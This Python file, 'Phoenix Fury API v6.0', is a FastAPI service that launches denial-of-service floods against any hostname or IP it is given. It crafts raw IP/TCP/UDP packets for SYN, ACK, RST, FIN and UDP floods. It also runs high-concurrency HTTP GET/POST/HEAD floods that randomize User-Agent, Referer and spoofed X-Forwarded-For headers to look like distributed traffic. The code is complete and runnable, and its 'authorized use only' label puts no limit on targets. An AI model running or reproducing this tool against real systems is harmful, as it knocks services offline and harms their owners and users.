phoenix_fury_api.py

# ====================================================================================
#  PHOENIX FURY API v6.0 - APOCALYPSE EDITION
#
#  - GO-INSPIRED L4 ENGINE: A high-performance, low-level Layer 4 engine ported
#    from Go, using raw sockets to craft IP/TCP/UDP headers from scratch for
#    maximum PPS (Packets Per Second).
#  - ADVANCED L7 SPOOFING: Layer 7 attacks now feature fully randomized User-Agent,
#    Referer, and X-Forwarded-For headers for every request, mimicking real
#    distributed traffic.
#  - COMPLETE ATTACK SUITE: The definitive version with all requested methods:
#    L4 (SYN, ACK, RST, FIN, UDP, UDP-PPS) and L7 (GET, POST, HEAD).
#  - UNBREAKABLE STABILITY: Built on the rock-solid v5 architecture, retaining
#    the robust AttackManager, BackgroundTasks lifecycle, and critical SSL fixes.
#
#  *** The ultimate, all-in-one stress testing tool for authorized professionals. ***
# ====================================================================================

import socket
import struct
import random
import time
import multiprocessing
import threading
import asyncio
import aiohttp
import os
import sys
import psutil
import ssl
from typing import Literal, Optional, List, Union
from ctypes import c_ulonglong

# Use uvloop for a significant performance boost if available
try:
    import uvloop
    asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
except ImportError:
    pass

# FastAPI & Pydantic
from fastapi import FastAPI, HTTPException, BackgroundTasks
from pydantic import BaseModel, Field, validator
import uvicorn

# --- Application Setup ---
app = FastAPI(
    title="🔥 Phoenix Fury API v6.0 - Apocalypse Edition",
    description="The definitive L4/L7 stress testing tool with a Go-inspired raw socket engine and advanced L7 spoofing capabilities. For authorized use only.",
    version="6.0.0"
)

# --- Constants & Configuration ---
CPU_COUNT = psutil.cpu_count(logical=True)
STATS_BATCH_UPDATE_SIZE = 1000

# --- L7 Spoofing Headers ---
USER_AGENTS = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"]
REFERERS = ["https://www.google.com/", "https://www.facebook.com/", "https://www.twitter.com/", "https://www.amazon.com/"]

def get_random_headers() -> dict:
    """Generates a dictionary of randomized headers for L7 attacks."""
    rand_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
    return {
        "User-Agent": random.choice(USER_AGENTS),
        "Referer": random.choice(REFERERS),
        "X-Forwarded-For": rand_ip,
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "close"
    }

# ====================================================================================
#  Pydantic API Models
# ====================================================================================
class BaseAttackConfig(BaseModel):
    target: str = Field(..., description="Target hostname or IP address")
    port: int = Field(..., ge=1, le=65535, description="Target port")
    duration: int = Field(..., ge=10, le=7200, description="Attack duration in seconds")
    processes: int = Field(CPU_COUNT * 2, ge=1, le=CPU_COUNT * 16, description=f"Number of processes. Optimal is 2-4x CPU Cores.")

class L4TCPConfig(BaseAttackConfig):
    method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")

class L4UDPConfig(BaseAttackConfig):
    method: Literal["udp", "pps"] = Field("udp", description="'udp' for large packets, 'pps' for minimal (0-byte) packets for max PPS.")
    payload_size: int = Field(1024, ge=0, le=1472, description="Size of UDP payload. Ignored if method is 'pps'.")

class L7Config(BaseAttackConfig):
    concurrency_per_process: int = Field(1024, ge=1, le=16384, description="Concurrent async tasks per process.")
    method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
    path: str = Field("/", description="Request path")

class StatusResponse(BaseModel):
    attack_active: bool; attack_type: str; target_host: str; target_ip: str; port: int
    duration: int; elapsed_time: float; processes: int; total_sent: int
    current_rate_pps_rps: float; cpu_usage_percent: float; memory_usage_percent: float

# ====================================================================================
#  CORE NETWORKING & PACKET CRAFTING (Go-Inspired)
# ====================================================================================
def check_root() -> bool:
    try: return os.geteuid() == 0
    except AttributeError: import ctypes; return ctypes.windll.shell32.IsUserAnAdmin() != 0

def resolve_target(target: str) -> str:
    try:
        if "://" in target: target = target.split("://")[1].split("/")[0]
        return socket.gethostbyname(target)
    except socket.gaierror: raise ValueError(f"Could not resolve hostname: {target}")

def get_local_ip(target_ip: str) -> str:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect((target_ip, 1)); ip = s.getsockname()[0]; s.close(); return ip

def calculate_checksum(data: bytes) -> int:
    s = 0
    if len(data) % 2: data += b'\0'
    for i in range(0, len(data), 2): s += (data[i] << 8) + data[i+1]
    s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (~s) & 0xffff

def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
    header = struct.pack('!BBHHHBBH4s4s',
        (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
        socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
    )
    return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]

def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
    seq = random.randint(1, 4294967295)
    ack_seq = 0
    header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
    checksum = calculate_checksum(pseudo_header + header)
    return header[:16] + struct.pack('!H', checksum) + header[18:]

def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
    udp_len = 8 + len(payload)
    header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
    checksum = calculate_checksum(pseudo_header + header + payload)
    return header[:6] + struct.pack('!H', checksum)

# ====================================================================================
#  ATTACK WORKER PROCESSES
# ====================================================================================
def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        local_ip = get_local_ip(target_ip)
    except Exception as e:
        print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr); return

    local_counter = 0
    flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
    
    if attack_type == 'udp':
        payload = os.urandom(0 if method_details == 'pps' else method_details)
        udp_len = 8 + len(payload)

    while not stop_event.is_set():
        src_port = random.randint(1025, 65535)
        if attack_type == 'tcp':
            ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
            tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
            packet = ip_header + tcp_header
        else: # udp
            ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
            udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
            packet = ip_header + udp_header + payload
        try:
            sock.sendto(packet, (target_ip, port))
            local_counter += 1
            if local_counter >= STATS_BATCH_UPDATE_SIZE:
                with shared_counter.get_lock(): shared_counter.value += local_counter
                local_counter = 0
        except: pass
    if local_counter > 0:
        with shared_counter.get_lock(): shared_counter.value += local_counter
    sock.close()

async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
    ssl_context = ssl.create_default_context(); ssl_context.check_hostname = False; ssl_context.verify_mode = ssl.CERT_NONE
    connector = aiohttp.TCPConnector(limit=None, force_close=True, ssl=ssl_context)
    timeout = aiohttp.ClientTimeout(total=10, connect=5)

    async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
        async def task_worker():
            local_counter = 0
            while not stop_event.is_set():
                try:
                    async with session.request(method, f"{url}?{random.randint(1, 99999999)}", headers=get_random_headers()):
                        local_counter += 1
                except:
                    local_counter += 1
                finally:
                    if local_counter >= STATS_BATCH_UPDATE_SIZE:
                        with shared_counter.get_lock(): shared_counter.value += local_counter
                        local_counter = 0
                    await asyncio.sleep(0)
            if local_counter > 0:
                with shared_counter.get_lock(): shared_counter.value += local_counter
        tasks = [task_worker() for _ in range(concurrency)]
        await asyncio.gather(*tasks)

def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
    protocol = "https" if port in [443, 8443] else "http"
    url = f"{protocol}://{target_ip}:{port}{path}"
    try:
        asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
    except Exception as e:
        print(f"[PID {os.getpid()}] L7 Worker fatal error: {e}", file=sys.stderr)

# ====================================================================================
#  CENTRALIZED ATTACK MANAGER (SINGLETON)
# ====================================================================================
class AttackManager:
    _instance = None
    def __new__(cls):
        if cls._instance is None:
            cls._instance = super(AttackManager, cls).__new__(cls); cls._instance._initialized = False
        return cls._instance

    def __init__(self):
        if self._initialized: return
        self._initialized = True; self.lock = threading.Lock(); self.stats_thread = None; self._reset_state()

    def _reset_state(self):
        self.attack_active = False; self.attack_type = "None"; self.target_host = "None"
        self.target_ip = "None"; self.port = 0; self.duration = 0; self.start_time = 0.0
        self.process_count = 0; self.processes: List[multiprocessing.Process] = []
        self.stop_event = multiprocessing.Event()
        self.counter = multiprocessing.Value(c_ulonglong, 0); self.current_rate = 0.0

    def is_active(self):
        with self.lock: return self.attack_active

    def _stats_calculator(self):
        last_check_time = time.time(); last_count = 0
        while not self.stop_event.is_set():
            time.sleep(1)
            now = time.time(); current_count = self.counter.value; elapsed = now - last_check_time
            if elapsed > 0: self.current_rate = (current_count - last_count) / elapsed
            last_check_time = now; last_count = current_count
        self.current_rate = 0.0

    def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
        with self.lock:
            if self.attack_active: return
            try:
                self.target_host = config.target; self.target_ip = resolve_target(self.target_host)
                if family == 'l4' and not check_root(): raise PermissionError("Layer 4 attacks require root privileges.")
            except (ValueError, PermissionError) as e:
                print(f"Attack validation failed: {e}", file=sys.stderr); self._reset_state(); return

            self.attack_active = True; self.port = config.port; self.duration = config.duration
            self.process_count = config.processes; self.start_time = time.time()
            
            worker_target, worker_args, attack_name = (None, None, "Unknown")
            if family == 'l7' and isinstance(config, L7Config):
                attack_name = f"L7-{config.method.upper()}"; worker_target = l7_worker_process
                worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, config.concurrency_per_process)
            elif family == 'l4':
                worker_target = l4_worker_process
                if isinstance(config, L4TCPConfig):
                    attack_name = f"L4-TCP-{config.method.upper()}"
                    worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'tcp', config.method)
                elif isinstance(config, L4UDPConfig):
                    attack_name = f"L4-UDP-{config.method.upper()}";
                    worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'udp', config.method if config.method == 'pps' else config.payload_size)
            self.attack_type = attack_name
            
            print("="*60 + f"\n🔥 PHOENIX FURY APOCALYPSE - ATTACK INITIATED 🔥\n" +
                  f"   Type: {self.attack_type} | Target: {self.target_host}:{self.port} ({self.target_ip})\n" +
                  f"   Duration: {self.duration}s | Processes: {self.process_count}\n" + "="*60)

            for _ in range(self.process_count):
                p = multiprocessing.Process(target=worker_target, args=worker_args); self.processes.append(p); p.start()
            self.stats_thread = threading.Thread(target=self._stats_calculator); self.stats_thread.start()

    def stop(self):
        with self.lock:
            if not self.attack_active: return
            print(f"\nStop signal received. Terminating {len(self.processes)} processes...")
            self.stop_event.set()
            for p in self.processes: p.join(timeout=5)
            for p in self.processes:
                if p.is_alive(): print(f"Terminating hanging process PID: {p.pid}"); p.terminate()
            if self.stats_thread: self.stats_thread.join(timeout=2)
            elapsed = time.time() - self.start_time; total_sent = self.counter.value
            avg_rate = total_sent / elapsed if elapsed > 0 else 0
            print("="*40 + "\n✅ ATTACK TERMINATED.\n" + f"   Total Sent: {total_sent:,}\n" +
                  f"   Elapsed Time: {elapsed:.2f}s\n" + f"   Average Rate: {avg_rate:,.2f} PPS/RPS\n" + "="*40)
            self._reset_state()

    def get_status(self) -> StatusResponse:
        with self.lock:
            return StatusResponse(
                attack_active=self.attack_active, attack_type=self.attack_type, target_host=self.target_host,
                target_ip=self.target_ip, port=self.port, duration=self.duration,
                elapsed_time=round(time.time() - self.start_time, 2) if self.attack_active else 0,
                processes=self.process_count, total_sent=self.counter.value,
                current_rate_pps_rps=round(self.current_rate, 2),
                cpu_usage_percent=psutil.cpu_percent(), memory_usage_percent=psutil.virtual_memory().percent
            )

MANAGER = AttackManager()

# ====================================================================================
#  FASTAPI ENDPOINTS
# ====================================================================================
@app.on_event("startup")
def on_startup():
    print("="*50 + "\n🔥 Phoenix Fury API v6.0 - Apocalypse Edition is ready.")
    print(f"   Detected {CPU_COUNT} logical CPU cores. Recommended max processes: {CPU_COUNT * 4}.")
    if check_root(): print("✅ Running with root privileges. Layer 4 attacks are ENABLED.")
    else: print("⚠️ WARNING: Not running with root privileges. Layer 4 attacks will FAIL.")
    print("="*50)

def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
    if MANAGER.is_active():
        raise HTTPException(status_code=409, detail="An attack is already in progress.")
    background_tasks.add_task(MANAGER.start, config, family)
    background_tasks.add_task(time.sleep, config.duration)
    background_tasks.add_task(MANAGER.stop)

@app.post("/attack/layer7")
def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
    run_attack_lifecycle(config, 'l7', background_tasks)
    return {"status": "success", "message": f"L7 attack initiated on {config.target}:{config.port}"}

@app.post("/attack/layer4/tcp")
def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
    run_attack_lifecycle(config, 'l4', background_tasks)
    return {"status": "success", "message": f"L4 TCP attack initiated on {config.target}:{config.port}"}

@app.post("/attack/layer4/udp")
def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
    run_attack_lifecycle(config, 'l4', background_tasks)
    return {"status": "success", "message": f"L4 UDP attack initiated on {config.target}:{config.port}"}

@app.post("/attack/stop")
def api_stop_attack():
    if not MANAGER.is_active(): return {"status": "info", "message": "No attack is currently running."}
    MANAGER.stop(); return {"status": "success", "message": "Stop signal sent."}

@app.get("/status", response_model=StatusResponse)
def get_status(): return MANAGER.get_status()

@app.get("/")
def root(): return {"message": "🔥 Phoenix Fury API v6.0 - Apocalypse Edition", "docs": "/docs"}

# --- Main Execution ---
if __name__ == "__main__":
    multiprocessing.freeze_support()
    uvicorn.run(app, host="0.0.0.0", port=8000)